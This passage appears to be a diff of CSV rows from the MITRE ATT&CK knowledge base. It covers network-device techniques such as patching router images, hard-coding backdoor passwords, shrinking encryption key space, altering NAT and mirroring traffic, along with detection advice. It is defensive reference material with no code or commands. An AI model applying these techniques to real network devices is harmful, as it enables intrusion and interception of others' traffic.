'defense-evasion'}]",1.0,False,https://attack.mitre.org/techniques/T1601,mitre-attack,T1601,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Modify System Image,"Adversaries may make changes to the operating system of embedded network devices to weaken defenses and provide new capabilities for themselves. On such devices, the operating systems are typically monolithic and most of the device functionality and capabilities are contained within a single file. +Many vendors of embedded network devices can provide advanced debugging support that will allow them to work with device owners to validate the integrity of the operating system running in memory. If a compromise of the operating system is suspected, contact the vendor technical support and seek such services for a more thorough inspection of the current running system. (Citation: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification)",True,['Administrator'],['Network'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1601', 'external_id': 'T1601'}, {'source_name': 'Cisco IOS Software Integrity Assurance - Image File Verification', 'description': 'Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Image File Verification. Retrieved October 19, 2020.', 'url': 'https://tools.cisco.com/security/center/resources/integrity_assurance.html#7'}, {'source_name': 'Cisco IOS Software Integrity Assurance - Run-Time Memory Verification', 'description': 'Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Run-Time Memory Integrity Verification. Retrieved October 19, 2020.', 'url': 'https://tools.cisco.com/security/center/resources/integrity_assurance.html#13'}]",1.0,attack-pattern,attack-pattern--ae7f3575-0a5e-427e-991b-fe03ad44c754,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-19T19:42:19.740Z,2020-10-22T17:50:47.635Z,Modify System Image,"Adversaries may make changes to the operating system of embedded network devices to weaken defenses and provide new capabilities for themselves. On such devices, the operating systems are typically monolithic and most of the device functionality and capabilities are contained within a single file. -To change the operating system, the adversary typically only needs to affect this one file, replacing or modifying it. This can either be done live in memory during system runtime for immediate effect, or in storage to implement the change on the next boot of the network device.",attack-pattern--ae7f3575-0a5e-427e-991b-fe03ad44c754,attack-pattern,['defense-evasion'],2020-10-22T17:50:47.635Z,2020-10-19T19:42:19.740Z,"Most embedded network devices provide a command to print the version of the currently running operating system. Use this command to query the operating system for its version number and compare it to what is expected for the device in question. Because this method may be used in conjunction with [Patch System Image](https://attack.mitre.org/techniques/T1601/001), it may be appropriate to also verify the integrity of the vendor provided operating system image file. +To change the operating system, the adversary typically only needs to affect this one file, replacing or modifying it. This can either be done live in memory during system runtime for immediate effect, or in storage to implement the change on the next boot of the network device.",['defense-evasion'],https://attack.mitre.org/techniques/T1601,mitre-attack,T1601,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,['File: File Modification'],,"Most embedded network devices provide a command to print the version of the currently running operating system. Use this command to query the operating system for its version number and compare it to what is expected for the device in question. Because this method may be used in conjunction with [Patch System Image](https://attack.mitre.org/techniques/T1601/001), it may be appropriate to also verify the integrity of the vendor provided operating system image file. Compare the checksum of the operating system file with the checksum of a known good copy from a trusted source. Some embedded network device platforms may have the capability to calculate the checksum of the file, while others may not. Even for those platforms that have the capability, it is recommended to download a copy of the file to a trusted computer to calculate the checksum with software that is not compromised. (Citation: Cisco IOS Software Integrity Assurance - Image File Verification) -Many vendors of embedded network devices can provide advanced debugging support that will allow them to work with device owners to validate the integrity of the operating system running in memory. If a compromise of the operating system is suspected, contact the vendor technical support and seek such services for a more thorough inspection of the current running system. (Citation: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification)",['File: File Modification'],,,['Administrator'],['Network'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1600.002', 'url': 'https://attack.mitre.org/techniques/T1600/002'}, {'source_name': 'Cisco Blog Legacy Device Attacks', 'url': 'https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954', 'description': 'Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]",1.0,True,https://attack.mitre.org/techniques/T1600/002,mitre-attack,T1600.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Disable Crypto Hardware,"Adversaries disable a network device’s dedicated hardware encryption, which may enable them to leverage weaknesses in software encryption in order to reduce the effort involved in collecting, manipulating, and exfiltrating transmitted data. +Many vendors of embedded network devices can provide advanced debugging support that will allow them to work with device owners to validate the integrity of the operating system running in memory. If a compromise of the operating system is suspected, contact the vendor technical support and seek such services for a more thorough inspection of the current running system. (Citation: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification)",False,['Administrator'],['Network'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1600/002', 'external_id': 'T1600.002'}, {'source_name': 'Cisco Blog Legacy Device Attacks', 'description': 'Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.', 'url': 'https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954'}]",1.0,attack-pattern,attack-pattern--7efba77e-3bc4-4ca5-8292-d8201dcd64b5,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-19T19:11:18.757Z,2020-10-21T22:37:48.503Z,Disable Crypto Hardware,"Adversaries disable a network device’s dedicated hardware encryption, which may enable them to leverage weaknesses in software encryption in order to reduce the effort involved in collecting, manipulating, and exfiltrating transmitted data. -Many network devices such as routers, switches, and firewalls, perform encryption on network traffic to secure transmission across networks. Often, these devices are equipped with special, dedicated encryption hardware to greatly increase the speed of the encryption process as well as to prevent malicious tampering. When an adversary takes control of such a device, they may disable the dedicated hardware, for example, through use of [Modify System Image](https://attack.mitre.org/techniques/T1601), forcing the use of software to perform encryption on general processors. This is typically used in conjunction with attacks to weaken the strength of the cipher in software (e.g., [Reduce Key Space](https://attack.mitre.org/techniques/T1600/001)). (Citation: Cisco Blog Legacy Device Attacks)",attack-pattern--7efba77e-3bc4-4ca5-8292-d8201dcd64b5,attack-pattern,['defense-evasion'],2020-10-21T22:37:48.503Z,2020-10-19T19:11:18.757Z,"There is no documented method for defenders to directly identify behaviors that disable cryptographic hardware. Detection efforts may be focused on closely related adversary behaviors, such as [Modify System Image](https://attack.mitre.org/techniques/T1601) and [Network Device CLI](https://attack.mitre.org/techniques/T1059/008). Some detection methods require vendor support to aid in investigation.",['File: File Modification'],,,['Administrator'],['Network'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1600.001', 'url': 'https://attack.mitre.org/techniques/T1600/001'}, {'source_name': 'Cisco Synful Knock Evolution', 'url': 'https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices', 'description': 'Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020.'}, {'source_name': 'Cisco Blog Legacy Device Attacks', 'url': 'https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954', 'description': 'Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]",1.0,True,https://attack.mitre.org/techniques/T1600/001,mitre-attack,T1600.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Reduce Key Space,"Adversaries may reduce the level of effort required to decrypt data transmitted over the network by reducing the cipher strength of encrypted communications.(Citation: Cisco Synful Knock Evolution) +Many network devices such as routers, switches, and firewalls, perform encryption on network traffic to secure transmission across networks. Often, these devices are equipped with special, dedicated encryption hardware to greatly increase the speed of the encryption process as well as to prevent malicious tampering. When an adversary takes control of such a device, they may disable the dedicated hardware, for example, through use of [Modify System Image](https://attack.mitre.org/techniques/T1601), forcing the use of software to perform encryption on general processors. This is typically used in conjunction with attacks to weaken the strength of the cipher in software (e.g., [Reduce Key Space](https://attack.mitre.org/techniques/T1600/001)). (Citation: Cisco Blog Legacy Device Attacks)",['defense-evasion'],https://attack.mitre.org/techniques/T1600/002,mitre-attack,T1600.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,['File: File Modification'],,"There is no documented method for defenders to directly identify behaviors that disable cryptographic hardware. Detection efforts may be focused on closely related adversary behaviors, such as [Modify System Image](https://attack.mitre.org/techniques/T1601) and [Network Device CLI](https://attack.mitre.org/techniques/T1059/008). Some detection methods require vendor support to aid in investigation.",True,['Administrator'],['Network'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1600/001', 'external_id': 'T1600.001'}, {'source_name': 'Cisco Synful Knock Evolution', 'description': 'Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020.', 'url': 'https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices'}, {'source_name': 'Cisco Blog Legacy Device Attacks', 'description': 'Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.', 'url': 'https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954'}]",1.0,attack-pattern,attack-pattern--3a40f208-a9c1-4efa-a598-4003c3681fb8,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-19T19:03:48.310Z,2020-10-21T22:36:22.369Z,Reduce Key Space,"Adversaries may reduce the level of effort required to decrypt data transmitted over the network by reducing the cipher strength of encrypted communications.(Citation: Cisco Synful Knock Evolution) Adversaries can weaken the encryption software on a compromised network device by reducing the key size used by the software to convert plaintext to ciphertext (e.g., from hundreds or thousands of bytes to just a couple of bytes). As a result, adversaries dramatically reduce the amount of effort needed to decrypt the protected information without the key. -Adversaries may modify the key size used and other encryption parameters using specialized commands in a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) introduced to the system through [Modify System Image](https://attack.mitre.org/techniques/T1601) to change the configuration of the device. (Citation: Cisco Blog Legacy Device Attacks)",attack-pattern--3a40f208-a9c1-4efa-a598-4003c3681fb8,attack-pattern,['defense-evasion'],2020-10-21T22:36:22.369Z,2020-10-19T19:03:48.310Z,"There is no documented method for defenders to directly identify behaviors that reduce encryption key space. Detection efforts may be focused on closely related adversary behaviors, such as [Modify System Image](https://attack.mitre.org/techniques/T1601) and [Network Device CLI](https://attack.mitre.org/techniques/T1059/008). Some detection methods require vendor support to aid in investigation.",['File: File Modification'],,,['Administrator'],['Network'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1600', 'url': 'https://attack.mitre.org/techniques/T1600'}, {'source_name': 'Cisco Synful Knock Evolution', 'url': 'https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices', 'description': 'Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020.'}, {'source_name': 'Cisco Blog Legacy Device Attacks', 'url': 'https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954', 'description': 'Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]",1.0,False,https://attack.mitre.org/techniques/T1600,mitre-attack,T1600,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Weaken Encryption,"Adversaries may compromise a network device’s encryption capability in order to bypass encryption that would otherwise protect data communications. (Citation: Cisco Synful Knock Evolution) +Adversaries may modify the key size used and other encryption parameters using specialized commands in a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) introduced to the system through [Modify System Image](https://attack.mitre.org/techniques/T1601) to change the configuration of the device. (Citation: Cisco Blog Legacy Device Attacks)",['defense-evasion'],https://attack.mitre.org/techniques/T1600/001,mitre-attack,T1600.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,['File: File Modification'],,"There is no documented method for defenders to directly identify behaviors that reduce encryption key space. Detection efforts may be focused on closely related adversary behaviors, such as [Modify System Image](https://attack.mitre.org/techniques/T1601) and [Network Device CLI](https://attack.mitre.org/techniques/T1059/008). Some detection methods require vendor support to aid in investigation.",True,['Administrator'],['Network'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1600', 'external_id': 'T1600'}, {'source_name': 'Cisco Synful Knock Evolution', 'description': 'Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020.', 'url': 'https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices'}, {'source_name': 'Cisco Blog Legacy Device Attacks', 'description': 'Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.', 'url': 'https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954'}]",1.0,attack-pattern,attack-pattern--1f9012ef-1e10-4e48-915e-e03563435fe8,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-19T18:47:08.759Z,2020-10-21T22:37:49.258Z,Weaken Encryption,"Adversaries may compromise a network device’s encryption capability in order to bypass encryption that would otherwise protect data communications. (Citation: Cisco Synful Knock Evolution) Encryption can be used to protect transmitted network traffic to maintain its confidentiality (protect against unauthorized disclosure) and integrity (protect against unauthorized changes). Encryption ciphers are used to convert a plaintext message to ciphertext and can be computationally intensive to decipher without the associated decryption key. Typically, longer keys increase the cost of cryptanalysis, or decryption without the key. -Adversaries can compromise and manipulate devices that perform encryption of network traffic. For example, through behaviors such as [Modify System Image](https://attack.mitre.org/techniques/T1601), [Reduce Key Space](https://attack.mitre.org/techniques/T1600/001), and [Disable Crypto Hardware](https://attack.mitre.org/techniques/T1600/002), an adversary can negatively effect and/or eliminate a device’s ability to securely encrypt network traffic. This poses a greater risk of unauthorized disclosure and may help facilitate data manipulation, Credential Access, or Collection efforts. (Citation: Cisco Blog Legacy Device Attacks)",attack-pattern--1f9012ef-1e10-4e48-915e-e03563435fe8,attack-pattern,['defense-evasion'],2020-10-21T22:37:49.258Z,2020-10-19T18:47:08.759Z,"There is no documented method for defenders to directly identify behaviors that weaken encryption. Detection efforts may be focused on closely related adversary behaviors, such as [Modify System Image](https://attack.mitre.org/techniques/T1601). Some detection methods require vendor support to aid in investigation.",['File: File Modification'],,['Encryption'],['Administrator'],['Network'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1556.004', 'url': 'https://attack.mitre.org/techniques/T1556/004'}, {'source_name': 'FireEye - Synful Knock', 'url': 'https://www.fireeye.com/blog/threat-research/2015/09/synful_knock_-_acis.html', 'description': 'Bill Hau, Tony Lee, Josh Homan. (2015, September 15). SYNful Knock - A Cisco router implant - Part I. Retrieved October 19, 2020.'}, {'source_name': 'Cisco IOS Software Integrity Assurance - Image File Verification', 'url': 'https://tools.cisco.com/security/center/resources/integrity_assurance.html#7', 'description': 'Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Image File Verification. Retrieved October 19, 2020.'}, {'source_name': 'Cisco IOS Software Integrity Assurance - Run-Time Memory Verification', 'url': 'https://tools.cisco.com/security/center/resources/integrity_assurance.html#13', 'description': 'Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Run-Time Memory Integrity Verification. Retrieved October 19, 2020.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]",2.0,True,https://attack.mitre.org/techniques/T1556/004,mitre-attack,T1556.004,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Network Device Authentication,"Adversaries may use [Patch System Image](https://attack.mitre.org/techniques/T1601/001) to hard code a password in the operating system, thus bypassing of native authentication mechanisms for local accounts on network devices. +Adversaries can compromise and manipulate devices that perform encryption of network traffic. For example, through behaviors such as [Modify System Image](https://attack.mitre.org/techniques/T1601), [Reduce Key Space](https://attack.mitre.org/techniques/T1600/001), and [Disable Crypto Hardware](https://attack.mitre.org/techniques/T1600/002), an adversary can negatively effect and/or eliminate a device’s ability to securely encrypt network traffic. This poses a greater risk of unauthorized disclosure and may help facilitate data manipulation, Credential Access, or Collection efforts. (Citation: Cisco Blog Legacy Device Attacks)",['defense-evasion'],https://attack.mitre.org/techniques/T1600,mitre-attack,T1600,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,['File: File Modification'],['Encryption'],"There is no documented method for defenders to directly identify behaviors that weaken encryption. Detection efforts may be focused on closely related adversary behaviors, such as [Modify System Image](https://attack.mitre.org/techniques/T1601). Some detection methods require vendor support to aid in investigation.",False,['Administrator'],['Network'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1556/004', 'external_id': 'T1556.004'}, {'source_name': 'FireEye - Synful Knock', 'description': 'Bill Hau, Tony Lee, Josh Homan. (2015, September 15). SYNful Knock - A Cisco router implant - Part I. Retrieved October 19, 2020.', 'url': 'https://www.fireeye.com/blog/threat-research/2015/09/synful_knock_-_acis.html'}, {'source_name': 'Cisco IOS Software Integrity Assurance - Image File Verification', 'description': 'Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Image File Verification. Retrieved October 19, 2020.', 'url': 'https://tools.cisco.com/security/center/resources/integrity_assurance.html#7'}, {'source_name': 'Cisco IOS Software Integrity Assurance - Run-Time Memory Verification', 'description': 'Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Run-Time Memory Integrity Verification. Retrieved October 19, 2020.', 'url': 'https://tools.cisco.com/security/center/resources/integrity_assurance.html#13'}]",2.0,attack-pattern,attack-pattern--fa44a152-ac48-441e-a524-dd7b04b8adcd,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-19T17:58:04.155Z,2021-04-20T20:11:00.356Z,Network Device Authentication,"Adversaries may use [Patch System Image](https://attack.mitre.org/techniques/T1601/001) to hard code a password in the operating system, thus bypassing of native authentication mechanisms for local accounts on network devices. -[Modify System Image](https://attack.mitre.org/techniques/T1601) may include implanted code to the operating system for network devices to provide access for adversaries using a specific password. The modification includes a specific password which is implanted in the operating system image via the patch. Upon authentication attempts, the inserted code will first check to see if the user input is the password. If so, access is granted. Otherwise, the implanted code will pass the credentials on for verification of potentially valid credentials.(Citation: FireEye - Synful Knock)",attack-pattern--fa44a152-ac48-441e-a524-dd7b04b8adcd,attack-pattern,"['credential-access', 'defense-evasion', 'persistence']",2021-04-20T20:11:00.356Z,2020-10-19T17:58:04.155Z,"Consider verifying the checksum of the operating system file and verifying the image of the operating system in memory.(Citation: Cisco IOS Software Integrity Assurance - Image File Verification)(Citation: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification) +[Modify System Image](https://attack.mitre.org/techniques/T1601) may include implanted code to the operating system for network devices to provide access for adversaries using a specific password. The modification includes a specific password which is implanted in the operating system image via the patch. Upon authentication attempts, the inserted code will first check to see if the user input is the password. If so, access is granted. Otherwise, the implanted code will pass the credentials on for verification of potentially valid credentials.(Citation: FireEye - Synful Knock)","['credential-access', 'defense-evasion', 'persistence']",https://attack.mitre.org/techniques/T1556/004,mitre-attack,T1556.004,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,['File: File Modification'],,"Consider verifying the checksum of the operating system file and verifying the image of the operating system in memory.(Citation: Cisco IOS Software Integrity Assurance - Image File Verification)(Citation: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification) -Detection of this behavior may be difficult, detection efforts may be focused on closely related adversary behaviors, such as [Modify System Image](https://attack.mitre.org/techniques/T1601).",['File: File Modification'],,,['Administrator'],['Network'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1599.001', 'url': 'https://attack.mitre.org/techniques/T1599/001'}, {'source_name': 'RFC1918', 'url': 'https://tools.ietf.org/html/rfc1918', 'description': 'IETF Network Working Group. (1996, February). Address Allocation for Private Internets. Retrieved October 20, 2020.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]",1.0,True,https://attack.mitre.org/techniques/T1599/001,mitre-attack,T1599.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Network Address Translation Traversal,"Adversaries may bridge network boundaries by modifying a network device’s Network Address Translation (NAT) configuration. Malicious modifications to NAT may enable an adversary to bypass restrictions on traffic routing that otherwise separate trusted and untrusted networks. +Detection of this behavior may be difficult, detection efforts may be focused on closely related adversary behaviors, such as [Modify System Image](https://attack.mitre.org/techniques/T1601).",True,['Administrator'],['Network'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1599/001', 'external_id': 'T1599.001'}, {'source_name': 'RFC1918', 'description': 'IETF Network Working Group. (1996, February). Address Allocation for Private Internets. Retrieved October 20, 2020.', 'url': 'https://tools.ietf.org/html/rfc1918'}]",1.0,attack-pattern,attack-pattern--4ffc1794-ec3b-45be-9e52-42dbcb2af2de,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-19T16:48:08.241Z,2020-10-21T01:45:58.951Z,Network Address Translation Traversal,"Adversaries may bridge network boundaries by modifying a network device’s Network Address Translation (NAT) configuration. Malicious modifications to NAT may enable an adversary to bypass restrictions on traffic routing that otherwise separate trusted and untrusted networks. Network devices such as routers and firewalls that connect multiple networks together may implement NAT during the process of passing packets between networks. When performing NAT, the network device will rewrite the source and/or destination addresses of the IP address header. Some network designs require NAT for the packets to cross the border device. A typical example of this is environments where internal networks make use of non-Internet routable addresses.(Citation: RFC1918) When an adversary gains control of a network boundary device, they can either leverage existing NAT configurations to send traffic between two separated networks, or they can implement NAT configurations of their own design. In the case of network designs that require NAT to function, this enables the adversary to overcome inherent routing limitations that would normally prevent them from accessing protected systems behind the border device. In the case of network designs that do not require NAT, address translation can be used by adversaries to obscure their activities, as changing the addresses of packets that traverse a network boundary device can make monitoring data transmissions more challenging for defenders. -Adversaries may use [Patch System Image](https://attack.mitre.org/techniques/T1601/001) to change the operating system of a network device, implementing their own custom NAT mechanisms to further obscure their activities",attack-pattern--4ffc1794-ec3b-45be-9e52-42dbcb2af2de,attack-pattern,['defense-evasion'],2020-10-21T01:45:58.951Z,2020-10-19T16:48:08.241Z,"Consider monitoring network traffic on both interfaces of border network devices. Compare packets transmitted by the device between networks to look for signs of NAT being implemented. Packets which have their IP addresses changed should still have the same size and contents in the data encapsulated beyond Layer 3. In some cases, Port Address Translation (PAT) may also be used by an adversary. +Adversaries may use [Patch System Image](https://attack.mitre.org/techniques/T1601/001) to change the operating system of a network device, implementing their own custom NAT mechanisms to further obscure their activities",['defense-evasion'],https://attack.mitre.org/techniques/T1599/001,mitre-attack,T1599.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content']",,"Consider monitoring network traffic on both interfaces of border network devices. Compare packets transmitted by the device between networks to look for signs of NAT being implemented. Packets which have their IP addresses changed should still have the same size and contents in the data encapsulated beyond Layer 3. In some cases, Port Address Translation (PAT) may also be used by an adversary. -Monitor the border network device’s configuration to determine if any unintended NAT rules have been added without authorization.","['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content']",,,['Administrator'],['Network'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1599', 'url': 'https://attack.mitre.org/techniques/T1599'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]",1.0,False,https://attack.mitre.org/techniques/T1599,mitre-attack,T1599,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Network Boundary Bridging,"Adversaries may bridge network boundaries by compromising perimeter network devices. Breaching these devices may enable an adversary to bypass restrictions on traffic routing that otherwise separate trusted and untrusted networks. +Monitor the border network device’s configuration to determine if any unintended NAT rules have been added without authorization.",True,['Administrator'],['Network'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1599', 'external_id': 'T1599'}]",1.0,attack-pattern,attack-pattern--b8017880-4b1e-42de-ad10-ae7ac6705166,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-19T16:08:29.817Z,2020-10-21T01:45:59.246Z,Network Boundary Bridging,"Adversaries may bridge network boundaries by compromising perimeter network devices. Breaching these devices may enable an adversary to bypass restrictions on traffic routing that otherwise separate trusted and untrusted networks. Devices such as routers and firewalls can be used to create boundaries between trusted and untrusted networks. They achieve this by restricting traffic types to enforce organizational policy in an attempt to reduce the risk inherent in such connections. Restriction of traffic can be achieved by prohibiting IP addresses, layer 4 protocol ports, or through deep packet inspection to identify applications. To participate with the rest of the network, these devices can be directly addressable or transparent, but their mode of operation has no bearing on how the adversary can bypass them when compromised. -When an adversary takes control of such a boundary device, they can bypass its policy enforcement to pass normally prohibited traffic across the trust boundary between the two separated networks without hinderance. By achieving sufficient rights on the device, an adversary can reconfigure the device to allow the traffic they want, allowing them to then further achieve goals such as command and control via [Multi-hop Proxy](https://attack.mitre.org/techniques/T1090/003) or exfiltration of data via [Traffic Duplication](https://attack.mitre.org/techniques/T1020/001). In the cases where a border device separates two separate organizations, the adversary can also facilitate lateral movement into new victim environments.",attack-pattern--b8017880-4b1e-42de-ad10-ae7ac6705166,attack-pattern,['defense-evasion'],2020-10-21T01:45:59.246Z,2020-10-19T16:08:29.817Z,"Consider monitoring network traffic on both interfaces of border network devices with out-of-band packet capture or network flow data, using a different device than the one in question. Look for traffic that should be prohibited by the intended network traffic policy enforcement for the border network device. +When an adversary takes control of such a boundary device, they can bypass its policy enforcement to pass normally prohibited traffic across the trust boundary between the two separated networks without hinderance. By achieving sufficient rights on the device, an adversary can reconfigure the device to allow the traffic they want, allowing them to then further achieve goals such as command and control via [Multi-hop Proxy](https://attack.mitre.org/techniques/T1090/003) or exfiltration of data via [Traffic Duplication](https://attack.mitre.org/techniques/T1020/001). In the cases where a border device separates two separate organizations, the adversary can also facilitate lateral movement into new victim environments.",['defense-evasion'],https://attack.mitre.org/techniques/T1599,mitre-attack,T1599,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content']","['Router ACL', 'Firewall']","Consider monitoring network traffic on both interfaces of border network devices with out-of-band packet capture or network flow data, using a different device than the one in question. Look for traffic that should be prohibited by the intended network traffic policy enforcement for the border network device. -Monitor the border network device’s configuration to validate that the policy enforcement sections are what was intended. Look for rules that are less restrictive, or that allow specific traffic types that were not previously authorized.","['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content']",,"['Router ACL', 'Firewall']",['Administrator'],['Network'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1020.001', 'url': 'https://attack.mitre.org/techniques/T1020/001'}, {'external_id': 'CAPEC-117', 'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/117.html'}, {'source_name': 'Cisco Traffic Mirroring', 'url': 'https://www.cisco.com/c/en/us/td/docs/routers/crs/software/crs_r5-1/interfaces/configuration/guide/hc51xcrsbook/hc51span.html', 'description': 'Cisco. (n.d.). Cisco IOS XR Interface and Hardware Component Configuration Guide for the Cisco CRS Router, Release 5.1.x. Retrieved October 19, 2020.'}, {'source_name': 'Juniper Traffic Mirroring', 'url': 'https://www.juniper.net/documentation/en_US/junos/topics/concept/port-mirroring-ex-series.html', 'description': 'Juniper. (n.d.). Understanding Port Mirroring on EX2200, EX3200, EX3300, EX4200, EX4500, EX4550, EX6200, and EX8200 Series Switches. Retrieved October 19, 2020.'}, {'source_name': 'US-CERT-TA18-106A', 'url': 'https://www.us-cert.gov/ncas/alerts/TA18-106A', 'description': 'US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.'}, {'source_name': 'Cisco Blog Legacy Device Attacks', 'url': 'https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954', 'description': 'Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'exfiltration'}]",1.0,True,https://attack.mitre.org/techniques/T1020/001,mitre-attack,T1020.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Traffic Duplication,"Adversaries may leverage traffic mirroring in order to automate data exfiltration over compromised network infrastructure. Traffic mirroring is a native feature for some network devices and used for network analysis and may be configured to duplicate traffic and forward to one or more destinations for analysis by a network analyzer or other monitoring device. (Citation: Cisco Traffic Mirroring) (Citation: Juniper Traffic Mirroring) +Monitor the border network device’s configuration to 